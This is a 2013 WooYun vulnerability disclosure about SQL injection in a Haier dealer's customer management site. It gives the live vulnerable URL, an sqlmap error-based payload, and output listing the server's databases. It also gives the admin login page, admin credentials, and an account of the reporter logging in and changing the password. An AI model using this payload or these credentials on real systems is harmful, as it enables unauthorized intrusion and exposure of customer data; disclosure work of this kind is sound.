漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2013-045695
漏洞标题：海尔集团#某重要管理系统存在SQL注入导致后台沦陷
相关厂商：海尔集团
漏洞作者： Mr.leo
提交时间：2013-12-13 14:19
修复时间：2013-12-18 14:20
公开时间：2013-12-18 14:20
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：20
漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2013-12-13： 细节已通知厂商并且等待厂商处理中
2013-12-18： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
海尔集团#某重要管理系统存在SQL注入导致后台沦陷
详细说明：
站点：
http://gy.haierzmd.com 灌云县海尔专卖店海尔客户管理系统
ID参数没有过滤导致注射漏洞
http://gy.haierzmd.com/zclr1.asp?ID=60
sqlmap跑起
Place: GET
Parameter: ID
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING claus
Payload: ID=1 AND 8064=CONVERT(INT,(CHAR(58)+CHAR(109)+CHAR(107)+CHAR(115)
HAR(58)+(SELECT (CASE WHEN (8064=8064) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(
)+CHAR(110)+CHAR(108)+CHAR(117)+CHAR(58)))
---
[09:52:42] [INFO] testing Microsoft SQL Server
[09:52:43] [INFO] confirming Microsoft SQL Server
[09:52:43] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2000
[09:52:43] [INFO] fetching current user
[09:52:43] [INFO] retrieved: sa
current user: 'sa'
[09:52:43] [INFO] fetching current database
[09:52:43] [INFO] retrieved: gy@haier#gy2
current database: 'gy@haier#gy2'
[09:52:43] [INFO] fetching database names
[09:52:43] [INFO] the SQL query used returns 16 entries
[09:52:45] [INFO] retrieved: gy@haier#gy2
[09:52:45] [INFO] retrieved: master
[09:52:45] [INFO] retrieved: tempdb
[09:52:45] [INFO] retrieved: model
[09:52:45] [INFO] retrieved: msdb
[09:52:45] [INFO] retrieved: pubs
[09:52:45] [INFO] retrieved: Northwind
[09:52:45] [INFO] retrieved: ssy988haier2
[09:52:45] [INFO] retrieved: gy@haier#gy2
[09:52:45] [INFO] retrieved: xs
[09:52:46] [INFO] retrieved: xs@988
[09:52:46] [INFO] retrieved: xshaier988haier
[09:52:46] [INFO] retrieved: xshaierzmd
[09:52:46] [INFO] retrieved: huanghaifeng#988
[09:52:46] [INFO] retrieved: shopxp#gsb988
[09:52:46] [INFO] retrieved: chenghaiyue#988
[09:52:46] [INFO] retrieved: gsb#988
[09:52:46] [INFO] retrieved:
available databases [17]:
[*] chenghaiyue#988
[*] gsb#988
[*] gy@haier#gy2
[*] huanghaifeng#988
[*] master
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] shopxp#gsb988
[*] ssy988haier2
[*] tempdb
[*] xs
[*] xs@988
[*] xshaier988haier
[*] xshaierzmd
SA用户
萝卜
用户名密码侧漏
接下来登录后台
后台地址为http://gy.haierzmd.com/admin_login.asp
admin 12345678（原密码为123456，系统提示修改密码,安全测试改成12345678）
验证码啥的都是浮云了
查看，添加，删除都有，毕竟是管理员哈。
客户信息
其他就不截图了，over
漏洞证明：
已经证明
修复方案：
1#修复SQL注射漏洞
2#增加密码强度、复杂度
3#屏蔽管理后台对外
版权声明：转载请注明来源 Mr.leo@乌云
漏洞回应
厂商回应：
危害等级：无影响厂商忽略
忽略时间：2013-12-18 14:20
厂商回复：
最新状态：
暂无